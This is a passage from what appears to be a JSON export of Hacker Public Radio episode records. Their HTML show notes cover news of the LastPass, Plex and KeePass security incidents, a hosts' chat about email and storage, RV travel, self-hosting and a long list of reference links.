                                                              • \"We have not been contacted by LastPass so we cannot speak to the\nspecifics of their incident. We take security issues very seriously, and\nfrequently work with external parties who report issues big or small\nusing our guidelines\nand bug bounty program. When vulnerabilities are reported following\nresponsible disclosure we address them swiftly and thoroughly, and we’ve\nnever had a critical vulnerability published for which there wasn’t\nalready a patched version released. And when we’ve had incidents of our\nown, we’ve always chosen to communicate them quickly. We are not aware\nof any unpatched vulnerabilities, and as always, we invite people to\ndisclose issues to us following the guidelines linked above. Given\nrecent articles about the LastPass incident, although we are not aware\nof any unpatched vulnerabilities, we have reached out to LastPass to be\nsure.\"
                                                              • \n
                                                            • \n
                                                            • Supporting Article: LastPass\nsays employee’s home computer was hacked and corporate vault taken.\n
                                                                \n
                                                              • Author: Dan\nGoodin. (2023, Feb 27).
                                                              • \n
                                                              • According to a person briefed on a private report from LastPass who\nspoke on the condition of anonymity, the media software package that was\nexploited on the employee’s home computer was Plex. Interestingly, Plex\nreported its own network intrusion on August 24, just 12 days after the\nsecond incident commenced.
                                                              • \n
                                                            • \n
                                                            • Supporting Article: Plex\nimposes password reset after attackers steal data from over 15 million\nusers.\n
                                                                \n
                                                              • Author: Dan\nGoodin. (2022, Aug 24).
                                                              • \n
                                                              • “Yesterday, we discovered suspicious activity on one of our\ndatabases,” company officials wrote in an email sent to customers. “We\nimmediately began an investigation and it does appear that a third-party\nwas able to access a limited subset of data that includes emails,\nusernames, and encrypted passwords.”
                                                              • \n
                                                              • The email said that the passwords were “hashed and secured in\naccordance with best practices,” meaning the passwords were\ncryptographically scrambled in a way that requires attackers to devote\nadditional resources to crack the hashes and revert them back to their\nplaintext state. A Plex spokesperson said that the passwords were hashed\nusing bcrypt, among the strongest algorithms for protecting passwords.\nbcrypt automatically applies what's known as cryptographic salting and\npeppering to make cracking harder.
                                                              • \n
                                                            • \n
                                                            • Article: Keepass\nvulnerablility allows attackers, with write access to the xml config, to\nexport cleartext passwords.\n
                                                                \n
                                                              • Author: National\nInstitute of Standards and Technology (NIST). (2023, Jan 21).
                                                              • \n
                                                              • ** DISPUTED ** KeePass through 2.53 (in a default installation)\nallows an attacker, who has write access to the XML configuration file,\nto obtain the cleartext passwords by adding an export trigger. NOTE: the\nvendor's position is that the password database is not intended to be\nsecure against an attacker who has that level of access to the local\nPC.
                                                              • \n
                                                              • This vulnerability has been modified and is currently undergoing\nreanalysis. Please check back soon to view the updated vulnerability\nsummary.
                                                              • \n
                                                            • \n
                                                            • Supporting Article: CWE-312:\nCleartext Storage of Sensitive Information.\n
                                                                \n
                                                              • Author: Common Weakness Enumeration.\n(N/A).
                                                              • \n
                                                              • Because the information is stored in cleartext (i.e., unencrypted),\nattackers could potentially read it. Even if the information is encoded\nin a way that is not human-readable, certain techniques could determine\nwhich encoding is being used, then decode the information.
                                                              • \n
                                                            • \n
                                                            • Supporting Article: KeePass Help Center,\nSecurity Issues.\n
                                                                \n
                                                              • Author: KeePass. (N/A).
                                                              • \n
                                                              • This page lists various potential security issues that have been\nreported and their status/analysis (whether the claims are valid,\nwhether an issue is fixed, etc.).
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n

                                                            User space.

                                                            \n
                                                              \n
                                                            • Article: How\nto delete yourself from the internet.\n
                                                                \n
                                                              • Author: Martyn Casserly. (2023, Mar 9).
                                                              • \n
                                                              • Whether you are privacy minded or not, it’s very difficult to be\ncompletely anonymous online. Over the years you might have posted on\nsocial media, downloaded apps, entered competitions or opened accounts\nwhich required details such as your email address, phone number, age,\ngender and more.
                                                              • \n
                                                            • \n
                                                            • Article: Mark\nZuckerberg’s Meta exploring plans to launch a Twitter rival.\n
                                                                \n
                                                              • Author: Reuters (2023, Mar 10).
                                                              • \n
                                                              • Mark Zuckerberg’s Meta Platforms is exploring plans to launch a new\nsocial media app in its bid to displace Twitter as the world’s “digital\ntown square.”
                                                              • \n
                                                              • Its video-sharing app, Instagram, is also facing stiff competition\nas content makers or hit influencers abandon the platform for\nTikTok.
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n
                                                              \n
                                                            • Toys for techs.
                                                            • \n
                                                            • Article: Inky Frame 4.0\" (Pico\nW Aboard) review.\n
                                                                \n
                                                              • Author: Phil\nKing. (2023, Mar 1).
                                                              • \n
                                                              • \"A classy colour e-ink display whose Wi-Fi connectivity greatly\nextends its possible uses, including as a digital photo/art frame, life\norganiser, or low-power smart home dashboard.\"
                                                              • \n
                                                            • \n
                                                            • Supporting Article: Inky Frame\n4.0\" (Pico W Aboard).\n
                                                                \n
                                                              • Author: Pimoroni. (N/A).
                                                              • \n
                                                              • Raspberry Pi Pico W Aboard.
                                                              • \n
                                                              • 4.01\" EPD display (640 x 400 pixels).\n
                                                                  \n
                                                                • E Ink Gallery Palette™ 4000 ePaper
                                                                • \n
                                                                • ACeP (Advanced Color ePaper) 7-color with black, white, red, green,\nblue, yellow, orange.
                                                                • \n
                                                                • Ultra wide viewing angles
                                                                • \n
                                                                • Ultra low power consumption
                                                                • \n
                                                                • Dot pitch – 0.135 x 0.135mm
                                                                • \n
                                                              • \n
                                                              • 5 x tactile buttons with LED indicators
                                                              • \n
                                                              • Two Qw/ST connectors for attaching breakouts
                                                              • \n
                                                              • microSD card slot *
                                                              • \n
                                                              • Dedicated RTC chip (PCF85063A) for deep sleep / wake **
                                                              • \n
                                                              • Fully assembled (no soldering required)
                                                              • \n
                                                              • C/C++ and\nMicroPython libraries
                                                              • \n
                                                              • Schematic
                                                              • \n
                                                            • \n
                                                            • Article: YubiHSM\n2, the world’s smallest hardware security module, enhanced with new\nfeatures to support security for the Public Sector.\n
                                                                \n
                                                              • Author: Saqib Ahmad. (2023, Mar 9).
                                                              • \n
                                                              • AES is one of the most widely used symmetric cryptography algorithms\nand can be used in several modes such as ECB, CBC, CCM and GCM. Out of\nthese four modes, YubiHSM 2 now supports three most commonly used modes\nof encryption.
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n
                                                              \n
                                                            • Additional Information.\n
                                                                \n
                                                              • What is a\nData Breach? A data breach is a security violation, in which\nsensitive, protected or confidential data is copied, transmitted,\nviewed, stolen, altered or used by an individual unauthorized to do\nso.
                                                              • \n
                                                              • What is\nMalware? Malware (a portmanteau for\nmalicious software) is any software intentionally designed to cause\ndisruption to a computer, server, client, or computer network, leak\nprivate information, gain unauthorized access to information or systems,\ndeprive access to information, or which unknowingly interferes with the\nuser's computer security and privacy.
                                                              • \n
                                                              • What is\na Payload? In the context of a computer virus or worm, the payload\nis the portion of the malware which performs malicious action; deleting\ndata, sending spam or encrypting data. In addition to the payload, such\nmalware also typically has overhead code aimed at simply spreading\nitself, or avoiding detection.
                                                              • \n
                                                              • What is\nPhishing? Phishing is a form of social\nengineering where attackers deceive people into revealing sensitive\ninformation or installing malware such as ransomware. Phishing\nattacks have become increasingly sophisticated and often transparently\nmirror the site being targeted, allowing the attacker to observe\neverything while the victim is navigating the site, and transverse any\nadditional security boundaries with the victim.
                                                              • \n
                                                              • What is\nInformation Security (InfoSec)? Information security, sometimes\nshortened to InfoSec, is the practice of protecting information by\nmitigating information risks.\nIt is part of information\nrisk management.
                                                              • \n
                                                              • What is a\nVulnerability (computing)? Vulnerabilities are flaws in a computer\nsystem that weaken the overall security of the device/system.\nVulnerabilities can be weaknesses in either the hardware itself, or the\nsoftware that runs on the hardware.
                                                              • \n
                                                              • What is an\n\"Attack Surface\"? The attack surface of a software environment is\nthe sum of the different points (for \"attack vectors\") where an\nunauthorized user (the \"attacker\") can try to enter data to or extract\ndata from an environment. Keeping the attack surface as small as\npossible is a basic security measure.
                                                              • \n
                                                              • What is an\n\"Attack Vector\"? In computer security, an attack vector is a\nspecific path, method, or scenario that can be exploited to break into\nan IT system, thus compromising its security. The term was derived from\nthe corresponding notion of vector in biology. An attack vector may be\nexploited manually, automatically, or through a combination of manual\nand automatic activity.
                                                              • \n
                                                            • \n
                                                            \n","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Oh No, News, Threat analysis, InfoSec, User space","version":0,"downloads":0,"valid":1}, {"id":3829,"date":"2023-04-06","title":"The Edinburgh cohort of HPR hosts stops Mumbling!","duration":3296,"summary":"Dave Morriss and MrX talk about various technical topics","notes":"
                                                            \n

                                                            Introduction

                                                            \n

                                                            Hosts:

                                                            \n
                                                              \n
                                                            • MrX
                                                            • \n
                                                            • Dave\nMorriss
                                                            • \n
                                                            \n

                                                            We recorded this on Saturday March 11th 2023. This time we\nmet in person, first at a pub called The Steading close to the\nentrance to the Midlothian\nSnowsports Centre where we had something to eat and drink -\nthough they only serve breakfast items before 12 noon. Then we adjourned\nto Dave’s Citroen car (Studio C) in the car park and recorded a\nchat.

                                                            \n

                                                            The last of these chats was over Mumble in September 2022, so it was\ngreat to be away from home and to meet in person again after a long time\nof COVID avoidance.

                                                            \n

                                                            Topics discussed

                                                            \n
                                                              \n
                                                            • Google Docs - Dave and MrX use this to build shared notes to help\norganise these sessions\n
                                                                \n
                                                              • There are issues with cut and paste when using Firefox – it doesn’t\nwork!\n
                                                                  \n
                                                                • It can be fixed by selecting about:config in a new\ntab.
                                                                • \n
                                                                • Change the attribute dom.event.clipboardevents.enabled\nto true.
                                                                • \n
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Is email still relevant in 2023?\n
                                                                \n
                                                              • Google Wave\n- Google’s possible email replacement seemed not to have lasted very\nlong
                                                              • \n
                                                              • Alternative access to Gmail using the IMAP protocol
                                                              • \n
                                                              • Folders versus labels. Tom Scott’s video “I\ntried using AI. It scared me.”
                                                              • \n
                                                              • Dave’s experiences with email:\n
                                                                  \n
                                                                • Digital\nEquipment Corporation’s Vax VMS used DECmail, which needed DECNet networking.
                                                                • \n
                                                                • The UK Academic network (JANET) initially used its\nown Coloured\nBook protocols, including Grey Book mail. This ran over an X.25\nnetwork.
                                                                • \n
                                                                • Gradual transition to TCP/IP and SMTP mail (over JANET Internet\nProtocol Service, “JIPS”).
                                                                • \n
                                                                • In early Unix days (Ultrix) there was MH\n(Message Handler)
                                                                • \n
                                                                • Later, this was replaced by nmh.
                                                                • \n
                                                                • A GUI interface was available called xmh
                                                                • \n
                                                                • A very flexible open-source front end called exmh was\ncrafted using Tcl/Tk
                                                                • \n
                                                                • Using procmail\nallowed an enormous number of capabilities, like sophisticated\nfiltering, spam detection and automatic replies.
                                                                • \n
                                                                • Now using Thunderbird,\nand has been for maybe 15 years.
                                                                • \n
                                                              • \n
                                                              • MrX used Eudora in the past, but mostly uses Outlook now.
                                                              • \n
                                                              • Both agree that many useful features of email, available in the\npast, have gone. Both of us still find email relevant however!
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Calendars:\n
                                                                \n
                                                              • MrX misses the calendar on the Psion Organiser
                                                              • \n
                                                              • Dave used to use an X-Windows tool called ical on\nUltrix (no relation to the later iCalendar standard). Moved\nto Thunderbird and its calendar called Lightning.
                                                              • \n
                                                              • Both have used the Google Calendar, Dave uses a Thunderbird add-on\nto share family calendars
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Lifetime of storage media:\n
                                                                \n
                                                              • SD cards can last a fairly long time, but getting the right type is\nimportant. Using older-style cards in new projects might turn out to be\na false economy.
                                                              • \n
                                                              • Hard disks can last a long time if the right sort is used. One thing\nthat shortens their life is getting them hot.
                                                              • \n
                                                              • MrX has used Western Digital Passport hard drives for some time, and\nthey have been very reliable – none have failed.
                                                              • \n
                                                              • There are different drives from Western Digital which have different\nperformances and they are colour coded. See the Western\nDigital website for details.
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Complexity and single points of failure:\n
                                                                \n
                                                              • Chip shortages and lack of resilience:\n
                                                                  \n
                                                                • Modern components that do a single job used to consist of multiple\ndiscrete components that could be replaced individually. Now, if a\ncomponent fails it has to be replaced in its entirety, and because of\nthe shortage of chips it uses it may be unavailable.
                                                                • \n
                                                                • Older devices and components may still use older less specialised\nparts and so can be repaired.
                                                                • \n
                                                                • Unnecessary reliance on GPS in devices, cloud services in Smart\nHome equipment, etc.
                                                                • \n
                                                                • For example, managing enormous warehouses requires a lot of services\nthat may not be too resilient, and could fail catastrophically.
                                                                • \n
                                                              • \n
                                                              • Coronal Mass\nEjection (CME):\n
                                                                  \n
                                                                • Such an event could destroy many satellites (such as those providing\nGPS). It could also cause a massive overload of the power grid.\nTransformers used in the grid can be damaged or destroyed and replacing\nthem in a timely fashion can be difficult.
                                                                • \n
                                                                • Carrington\nevent in September 1859 telegraph machines reportedly shocked\noperators and caused small fires.
                                                                • \n
                                                                • March\n1989 CME caused a power outage in Quebec, Canada.
                                                                • \n
                                                                • Recent YouTube video from Anton Petrov: Wow! Sun Just\nProduced a Carrington Like Event, But We Got Super Lucky
                                                                • \n
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Keeping systems up to date:\n
                                                                \n
                                                              • MrX has had problems getting various RPis updated and running.
                                                              • \n
                                                              • Dave has had similar problems making the jump from Raspbian to\nRaspberry Pi OS.
                                                              • \n
                                                              • In some cases the operating system on the Pis have needed to be\ncompletely reinstalled, and the work in installing and reconfiguring\nsoftware has proved to be too much!
                                                              • \n
                                                              • MrX’s PiFace\nControl and Display board is giving problems, as is the simpler PiFace\nDigital. It looks as if the company has gone out of business\nunfortunately.
                                                              • \n
                                                              • Dave has a Pico RGB\nBase from Pimoroni, a 14-key board with RGB LEDs which could be used\nas a way of controlling things.
                                                              • \n
                                                              • Dave’s Magic\nMirror system (a Pi 3A+ attached to a monitor) failed because\nthe Pi needed to be upgraded and then the Node.js code\ndidn’t seem to be maintained any more! Needs work!!
                                                              • \n
                                                              • MrX’s desktop PC is small and quiet, but since it’s in a cold room,\ntends not to get used too much in the winter! Dave’s PC is in an\nextension (addition) to the house and tends to get used quite a lot, but\nin cold winter weather, less so.
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • YouTube list:\n
                                                                \n
                                                              • We were going to mention a few YouTube channels we’d watched lately,\nbut felt we’d already talked long enough!
                                                              • \n
                                                              • Rather than just adding the list to the notes, as we discussed, we\nwill leave this section to the next time we make a recording such as\nthis.
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Completing HPR shows:\n
                                                                \n
                                                              • MrX has a show he has recorded but is held up preparing notes to go\nwith it.
                                                              • \n
                                                              • Dave tends to write draft notes first, then build the recording\naround them, but this approach isn’t necessarily faster!
                                                              • \n
                                                            • \n
                                                            \n

                                                            Links

                                                            \n\n
                                                              \n
                                                            • Early mail tools:\n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Solar storms / Coronal Mass Ejections:\n
                                                                \n
                                                              • Wikipedia article on Coronal Mass\nEjections (CME).
                                                              • \n
                                                              • Wikipedia article on the Carrington\nevent in September 1859.
                                                              • \n
                                                              • Wikipedia article on the March\n1989 CME.
                                                              • \n
                                                              • List of solar storms
                                                              • \n
                                                              • Transformer\nshortage in the USA
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Edinburgh,meeting","version":0,"downloads":0,"valid":1}, {"id":3830,"date":"2023-04-07","title":"Into New Mexico","duration":856,"summary":"We move to another state, New Mexico.","notes":"

                                                            We made a change in our itinerary and instead of going up into the\nmountains of New Mexico we went down to the area of the border of\nMexico. Our first stop was in Deming, NM for a few days, the on to\nAnthony, NM for a longer stay of nearly three weeks. Anthony is located\nbetween Las Cruces, NM, and El Paso, Texas, so it was a convenient\nlocation for visiting both of the places, and we did so. In hindsight,\nwe liked Las Cruces and the New Mexico part a lot better than El\nPaso.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":119,"explicit":0,"license":"CC-BY-SA","tags":"Travel, RV life, New Mexico, Deming, Anthony, Las Cruces, El Paso","version":0,"downloads":0,"valid":1}, {"id":3831,"date":"2023-04-10","title":"Introducing Bumble Bee.","duration":2541,"summary":"Some Guy On the Internet chats with a friend, Bumble Bee.","notes":"
                                                              \n
                                                            • Article: The \"7 days to die\"\nwebsite.\n
                                                                \n
                                                              • Author: The Fun Pimps. (N/A).
                                                              • \n
                                                              • An open-world game that is a unique combination of first-person\nshooter, survival horror, tower defense, and role-playing games. Play\nthe definitive zombie survival sandbox RPG that came first.
                                                              • \n
                                                            • \n
                                                            • Supporting Article: The Steam page for \"7 days to die\".\n
                                                                \n
                                                              • Author: Steampowered.com. (N/A).
                                                              • \n
                                                              • Note: This Early Access game is not complete and may or may not\nchange further. If you are not excited to play this game in its current\nstate, then you should wait to see if the game progresses further in\ndevelopment.
                                                              • \n
                                                            • \n
                                                            • Article: Cricut Maker 3 product page.\n
                                                                \n
                                                              • Author: Cricut shop. (N/A).
                                                              • \n
                                                              • Make more than you ever dreamed possible with Cricut Maker 3, the\nultimate smart cutting machine.
                                                              • \n
                                                            • \n
                                                            • Article: Welcome to the official site of\nMinecraft.\n
                                                                \n
                                                              • Author: Mojang. (N/A).
                                                              • \n
                                                              • A game about placing blocks and going on adventures.
                                                              • \n
                                                            • \n
                                                            • Article: What\nis \"Port Forwarding\"?\n
                                                                \n
                                                              • Author: Wikipedia. (N/A).
                                                              • \n
                                                              • In computer networking, port forwarding or port mapping is an\napplication of network address translation (NAT) that redirects a\ncommunication request from one address and port number combination to\nanother while the packets are traversing a network gateway, such as a\nrouter or firewall. This technique is most commonly used to make\nservices on a host residing on a protected or masqueraded (internal)\nnetwork available to hosts on the opposite side of the gateway (external\nnetwork), by remapping the destination IP address and port number of the\ncommunication to an internal host.
                                                              • \n
                                                            • \n
                                                            \n","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"7 days to die, Cricut, Minecraft, Software","version":0,"downloads":0,"valid":1}, {"id":3832,"date":"2023-04-11","title":"How I left Google behind","duration":1813,"summary":"Just an overview of what services I now use to replace previously used Google services","notes":"

                                                            A list of the software and hardware I cover in the show.

                                                            \n

                                                            Hardware:

                                                            \n
                                                              \n
                                                            • Server - 11th gen i5-11400, 64GB RAM, 12TB SSD storage

                                                            • \n
                                                            • Local backup server - 4th gen i5-4570, 32GB RAM, 24TB HDD storage\nin mirrored ZFS pool for 12TB usable.

                                                            • \n
                                                            • Offsite backup server - Celeron J4125, 16GB RAM, 8TB SSD\nstorage

                                                            • \n
                                                            \n

                                                            Software:

                                                            \n\n","hostid":375,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"selfhosted,google,proxmox,iredmail,nextcloud,funkwhale,mastodon,writefreely,peertube,invidious,matri","version":0,"downloads":0,"valid":1}, {"id":3833,"date":"2023-04-12","title":"Software Freedom Podcast","duration":2412,"summary":"Another excellent podcast for your consideration this time it's news from the FSFE","notes":"

                                                            Software Freedom Podcast - Free Software Foundation Europe

                                                            \n\n

                                                            Another recommendation for your podcatcher from our sister project https://freeculturepodcasts.org/

                                                            \n\n\n\n
                                                            \n\n

                                                            SFP#14: The world of mesh networking with Elektra Wagenrad

                                                            \n\n

                                                            \nWith this episode the Software Freedom Podcast opens the door to the fascinating and sometimes complex world of mesh networking. And who better than Elektra Wagenrad can take us on this journey? Elektra is one of the original developers of the B.A.T.M.A.N. protocol and of the Mesh Potato project.\n

                                                            \n\n

                                                            In our 14th Software Freedom Podcast episode Matthias Kirschner talks with our guest, Elektra Wagenrad, about the origins of Freifunk, the B.A.T.M.A.N. protocol, and the Mesh Potato project. If you are new to the world of mesh networking this episodes is an easy entrance to it. Elektra not only explains the theory behind the protocols but also dives deeper into the philosophical idea of it. In this context, Matthias and Elektra also touch on the difficult topic of limiting the use of Free Software, using the example of the former ban on the use of the B.A.T.M.A.N. protocol for military activities. Last but not least they also discuss the EU’s Radio Equipment Directive and the FSFE's Router Freedom activity.

                                                            \n\n

                                                            With this episode, the Software Freedom Podcast has produced an easy to follow and easy to understand podcast for everybody who is interested in mesh networking. Join us on our journey through this fascinating technical and philosophical world and listen to Elektra and Matthias as they tell the story with its ups and downs.\n

                                                            \n\n\n\n

                                                            Read more:

                                                            \n\n\n

                                                            If you liked this episode and want to support our continuous work for software freedom, please help us with a donation.

                                                            \n\n
                                                            \n","hostid":30,"series":75,"explicit":0,"license":"CC-BY-SA","tags":"FOSDEM, Podcast Recommendations, FSFE, FLOSS","version":0,"downloads":0,"valid":1}, {"id":3834,"date":"2023-04-13","title":"2022-2023 New Years Show Episode 5","duration":7186,"summary":"2022 - 2023 new years show where people come together and chat","notes":"

                                                            Episode #5

                                                            \n
                                                              \n
                                                            • printables:\nKirby 40mm Fume Extractor.
                                                            • \n
                                                            • wikipedia:\nThe Kirby Company is a manufacturer of vacuum cleaners and home cleaning\naccessories, located in Cleveland, Ohio, United States. It is a division\nof Right Lane Industries.
                                                            • \n
                                                            • lugcast: We are an open\nPodcast/LUG that meets every first and third Friday of every month using\nmumble.
                                                            • \n
                                                            • wikipedia:\nThe PlayStation Portable (PSP) is a handheld game console developed and\nmarketed by Sony Computer Entertainment.
                                                            • \n
                                                            • wikipedia:\nRammstein is a German Neue Deutsche Härte band formed in Berlin in 1994.\n
                                                                \n
                                                              • Goodluck with all the rest of the band/music chatter. I can't\nunderstand any of it.
                                                              • \n
                                                            • \n
                                                            • youtube:\nBurger Dance.\n
                                                                \n
                                                              • Please no. Why did I signup for this.
                                                              • \n
                                                            • \n
                                                            • wikipedia:\nSyphilis is most commonly spread through sexual activity.
                                                            • \n
                                                            • wikipedia:\nDeath was an American death metal band formed in Altamonte Springs,\nFlorida, in 1984 by Chuck Schuldiner. Death is considered to be among\nthe most influential bands in heavy metal music and a pioneering force\nin death metal.
                                                            • \n
                                                            • wikipedia:\nDeath is a Detroit rock band formed in Detroit, Michigan in 1971 by\nbrothers Bobby, David, and Dannis Hackney.
                                                            • \n
                                                            • wikipedia:\nBitLocker is a full volume encryption feature included with Microsoft\nWindows versions starting with Windows Vista.
                                                            • \n
                                                            • dell:\nLatitude E6410 Laptop.
                                                            • \n
                                                            • slackware: Slackware is a\nLinux distribution created by Patrick Volkerding in 1993.
                                                            • \n
                                                            • puppylinux: Puppy Linux is\nan operating system and family of light-weight Linux distributions that\nfocus on ease of use and minimal memory footprint.
                                                            • \n
                                                            • tails: Tails, or The Amnesic\nIncognito Live System, is a security-focused Debian-based Linux\ndistribution aimed at preserving privacy and anonymity.
                                                            • \n
                                                            • debian: Debian, also known as\nDebian GNU/Linux, is a Linux distribution composed of free and\nopen-source software, developed by the community-supported Debian\nProject, which was established by Ian Murdock on August 16, 1993.
                                                            • \n
                                                            • wikipedia:\nTrusted Platform Module (TPM, also known as ISO/IEC 11889) is an\ninternational standard for a secure cryptoprocessor, a dedicated\nmicrocontroller designed to secure hardware through integrated\ncryptographic keys.
                                                            • \n
                                                            • pine64:\nROCK64 is a credit card sized Single Board Computer powered by Rockchip\nRK3328 quad-core ARM Cortex A53 64-Bit Processor and support up to 4GB\n1600MHz LPDDR3 memory.
                                                            • \n
                                                            • docker:\nrealies/nicotine.
                                                            • \n
                                                            • wikipedia: rsync\nis a utility for efficiently transferring and synchronizing files\nbetween a computer and an external hard drive and across networked\ncomputers by comparing the modification times and sizes of files.
                                                            • \n
                                                            • funkwhale: Listen to your\nmusic, everywhere. Upload your personal library to your pod, share it\nwith friends and family, and discover talented creators.
                                                            • \n
                                                            • mumble: Mumble is a free,\nopen source, low latency, high quality voice chat application.
                                                            • \n
                                                            • youtube:\nErnie (The Fastest Milkman In The West).\n
                                                                \n
                                                              • Why?!
                                                              • \n
                                                            • \n
                                                            • youtube:\nShaddap You Face - Joe Dolce.
                                                            • \n
                                                            • ironmaiden: Iron Maiden\nare an English heavy metal band formed in Leyton, East London, in 1975\nby bassist and primary songwriter Steve Harris.
                                                            • \n
                                                            • wikipedia:\nKamelot is an American power metal band from Tampa, Florida, formed by\nThomas Youngblood, in 1987.
                                                            • \n
                                                            • wikipedia:\nNightwish is a Finnish symphonic metal band from Kitee.
                                                            • \n
                                                            • wikipedia: Kitee\nis a town and a municipality of Finland. It is located in the province\nof Eastern Finland and is part of the North Karelia region.
                                                            • \n
                                                            • wikipedia:\nEvanescence is an American rock band founded in Little Rock, Arkansas in\n1995 by singer and musician Amy Lee and guitarist Ben Moody.
                                                            • \n
                                                            • wikipedia:\nDeep Purple are an English rock band formed in London in 1968.
                                                            • \n
                                                            • wikipedia:\nPink Floyd are an English rock band formed in London in 1965.
                                                            • \n
                                                            • wikipedia:\nBlack Sabbath were an English rock band formed in Birmingham in 1968 by\nguitarist Tony Iommi, drummer Bill Ward, bassist Geezer Butler and\nvocalist Ozzy Osbourne.
                                                            • \n
                                                            • toastmasters\nToastmasters International is a nonprofit educational organization that\nteaches public speaking and leadership skills through a worldwide\nnetwork of clubs.
                                                            • \n
                                                            • bbc: The British Broadcasting\nCorporation is the national broadcaster of the United Kingdom, based at\nBroadcasting House in London.
                                                            • \n
                                                            • matrix: An open network for\nsecure, decentralized communication.
                                                            • \n
                                                            • wikipedia:\nThe General Data Protection Regulation is a Regulation in EU law on data\nprotection and privacy in the EU and the European Economic Area.
                                                            • \n
                                                            • wikipedia:\nThe Gopher protocol (/ˈɡoʊfər/) is a communication protocol designed for\ndistributing, searching, and retrieving documents in Internet Protocol\nnetworks.
                                                            • \n
                                                            • wikipedia:\nGemini is an application-layer internet communication protocol for\naccessing remote documents, similar to the Hypertext Transfer Protocol\n(HTTP) and Gopher.
                                                            • \n
                                                            • wikipedia:\nSlipknot is an American heavy metal band formed in Des Moines, Iowa, in\n1995 by percussionist Shawn Crahan, drummer Joey Jordison and bassist\nPaul Gray.
                                                            • \n
                                                            • wikipedia:\nAfter Forever was a Dutch symphonic metal band with strong progressive\nmetal influences. The band relied on the use of both soprano vocals and\ndeath growls.
                                                            • \n
                                                            • metallica: Metallica is an\nAmerican heavy metal band.
                                                            • \n
                                                            • wikipedia:\nQueen are a British rock band formed in London in 1970 by Freddie\nMercury (lead vocals, piano), Brian May (guitar, vocals) and Roger\nTaylor (drums, vocals), later joined by John Deacon (bass).
                                                            • \n
                                                            • wikipedia: Brexit\n(a portmanteau of \"British exit\") was the withdrawal of the United\nKingdom (UK) from the European Union (EU) at 23:00 GMT on 31 January\n2020 (00:00 1 February 2020 CET). The UK is the only sovereign country\nto have left the EU or the EC.
                                                            • \n
                                                            • imdb: A WWII\nbomb group commander must fill the shoes of his predecessor and get the\nperformance rating up to snuff.
                                                            • \n
                                                            • wikipedia:\nTwelve O'Clock High is a 1949 American war film about aircrews in the\nUnited States Army's Eighth Air Force, who flew daylight bombing\nmissions against Germany and Occupied France during the early days of\nAmerican involvement in World War II.
                                                            • \n
                                                            • wikipedia:\nThe Boeing B-17 Flying Fortress is a four-engined heavy bomber developed\nin the 1930s for the United States Army Air Corps (USAAC).
                                                            • \n
                                                            • IRC IRC\nis short for Internet Relay Chat. It is a popular chat service still in\nuse today.
                                                            • \n
                                                            • wikipedia:\nNext Unit of Computing (NUC) is a line of small-form-factor barebone\ncomputer kits designed by Intel.
                                                            • \n
                                                            • plex: With\nour easy-to-install Plex Media Server software and Plex apps on the\ndevices of your choosing, you can stream your video, music, and photo\ncollections any time, anywhere, to whatever you want.
                                                            • \n
                                                            • ubuntu: Ubuntu is a Linux\ndistribution based on Debian and composed mostly of free and open-source\nsoftware.
                                                            • \n
                                                            • ebay: Buy & sell\nelectronics, cars, clothes, collectibles & more on eBay, the world's\nonline marketplace.
                                                            • \n
                                                            • amazon:\nAmazon Renewed is your trusted destination for pre-owned, refurbished\nproducts.
                                                            • \n
                                                            • wikipedia: Ryzen\nis a brand of multi-core x86-64 microprocessors designed and marketed by\nAMD for desktop, mobile, server, and embedded platforms based on the Zen\nmicroarchitecture.
                                                            • \n
                                                            • wikipedia:\nApple M1 is a series of ARM-based systems-on-a-chip (SoCs) designed by\nApple Inc. as a central processing unit (CPU) and graphics processing\nunit (GPU) for its Mac desktops and notebooks, and the iPad Pro and iPad\nAir tablets.\n
                                                                \n
                                                              • wikipedia: The\nApple M2 is an ARM-based system on a chip (SoC) designed by Apple Inc.\nas a central processing unit (CPU) and graphics processing unit (GPU)\nfor its Mac notebooks and the iPad Pro tablet.
                                                              • \n
                                                            • \n
                                                            • wikipedia: A\nsystem on a chip or system-on-chip (SoC /ˌˈɛsoʊsiː/; pl. SoCs\n/ˌˈɛsoʊsiːz/) is an integrated circuit that integrates most or all\ncomponents of a computer or other electronic system.
                                                            • \n
                                                            • wikipedia:\nARM (stylised in lowercase as arm, formerly an acronym for Advanced RISC\nMachines and originally Acorn RISC Machine) is a family of reduced\ninstruction set computer (RISC) instruction set architectures for\ncomputer processors, configured for various environments.
                                                            • \n
                                                            • youtube:\nOne Woman’s Wilderness.
                                                            • \n
                                                            • wikipedia:\nFelix Unger (born 2 March 1946 in Klagenfurt, Austria) is a heart\nspecialist who served as the president of the European Academy of\nSciences and Arts for three decades.
                                                            • \n
                                                            • geekflare:\nHow to create APT Proxy using a Raspberry PI with apt-cacher-ng?
                                                            • \n
                                                            • gpd: The world's smallest\n6800U handheld Exclusive performance optimization tool Support SteamOS\nsystem.
                                                            • \n
                                                            • pine64:\nROCK64 is a credit card sized Single Board Computer powered by Rockchip\nRK3328 quad-core ARM Cortex A53 64-Bit Processor and support up to 4GB\n1600MHz LPDDR3 memory.
                                                            • \n
                                                            • wikipedia:\nDigital subscriber line (DSL; originally digital subscriber loop) is a\nfamily of technologies that are used to transmit digital data over\ntelephone lines.
                                                            • \n
                                                            • wikipedia:\nWindows Subsystem for Linux (WSL) is a feature of Windows that allows\ndevelopers to run a Linux environment without the need for a separate\nvirtual machine or dual booting.
                                                            • \n
                                                            • wikipedia: In\ncomputing, a virtual machine (VM) is the virtualization/emulation of a\ncomputer system.
                                                            • \n
                                                            • wikipedia: A\nChromebook (sometimes stylized in lowercase as chromebook) is a laptop\nor tablet running the Linux-based ChromeOS as its operating system.
                                                            • \n
